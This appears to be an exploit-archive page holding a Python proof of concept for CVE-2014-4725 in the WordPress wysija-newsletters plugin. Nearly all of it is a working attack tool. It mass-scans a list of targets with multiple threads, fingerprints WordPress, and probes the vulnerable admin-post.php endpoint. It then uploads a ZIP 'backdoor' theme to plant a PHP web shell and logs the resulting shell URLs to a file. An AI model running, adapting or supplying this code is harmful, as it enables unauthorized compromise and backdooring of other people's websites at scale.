4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import argparse
import os
from concurrent.futures import ThreadPoolExecutor
from pwdnx import printmodule

headers = {
    'user-agent': 'mozilla/5.0 (x11; ubuntu; linux i686; rv:28.0) gecko/20100101 firefox/28.0'
}

check_id = "cve-2014-4725"
component = "wysija-newsletters"
cms = "wordpress"

max_threads = 15

YELLOW = "\033[93m"
GRAY = "\033[90m"
RESET = "\033[0m"

def is_wordpress(site):
    try:
        r = requests.get(f"http://{site}", headers=headers, timeout=8)
        if "wp-content" in r.text.lower() or "wordpress" in r.text.lower():
            return True
        return False
    except:
        return False

def is_vulnerable(site):
    try:
        url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes"
        r = requests.get(url, headers=headers, timeout=10)
        if "themeupload" in r.text.lower():
            return True
        return False
    except:
        return False

def exploit(site, payload_zip):
    try:
        files = {'my-theme': open(payload_zip, 'rb')}
        data = {
            'action': "themeupload",
            'submitter': "upload",
            'overwriteexistingtheme': "on",
            'page': 'gzneflozab'
        }
        url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes"
        r = requests.post(url, files=files, data=data, headers=headers, timeout=10)

        if 'reload=1' in r.text:
            shell_url = f"http://{site}/wp-content/uploads/wysija/themes/rock/vuln.php"
            with open("shell.txt", "a") as out:
                out.write(shell_url + "\n")
            return printmodule.returnyes(site, check_id, component, cms)
        else:
            return printmodule.returnno(site, check_id, component, cms)
    except:
        return printmodule.returnno(site, check_id, component, cms)

def scan_mode(target_file):
    if not os.path.exists(target_file):
        print(f"[!] file {target_file} not found.")
        return

    with open(target_file, 'r') as f:
        targets = [line.strip() for line in f if line.strip()]

    print(f"[*] starting scan for {len(targets)} target")
    vuln_sites = []

    def scan_single(site):
        if not is_wordpress(site):
            print(f"{site} {GRAY}[not wordpress]{RESET}")
            return
        if is_vulnerable(site):
            vuln_sites.append(site)
            print(f"{site} {YELLOW}[vuln]{RESET}")
        else:
            print(f"{site} {GRAY}[not vulnerable]{RESET}")

    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        executor.map(scan_single, targets)

    with open("vuln.txt", "w") as vf:
        for v in vuln_sites:
            vf.write(v + "\n")

    print(f"[*] scan finished. results saved to vuln.txt")

def exploit_mode(target_file, payload_zip):
    if not os.path.exists(target_file):
        print(f"[!] file {target_file} not found.")
        return
    if not os.path.exists(payload_zip):
        print(f"[!] payload file {payload_zip} not found.")
        return

    with open(target_file, 'r') as f:
        targets = [line.strip() for line in f if line.strip()]

    print(f"[*] starting exploit for {len(targets)} targets")

    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        executor.map(lambda site: exploit(site, payload_zip), targets)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="cve-2014-4725")
    parser.add_argument("--scan", help="scan targets from file, save results to vuln.txt")
    parser.add_argument("--exploit", help="exploit vulnerable targets from file, save shell to shell.txt (requires --payload)")
    parser.add_argument("--payload", help="ZIP theme/backdoor to upload")
    args = parser.parse_args()

    if args.scan:
        scan_mode(args.scan)
    elif args.exploit:
        payload_path = args.payload if args.payload else "file/ZIP.zip"
        exploit_mode(args.exploit, payload_path)
    else:
        parser.print_help()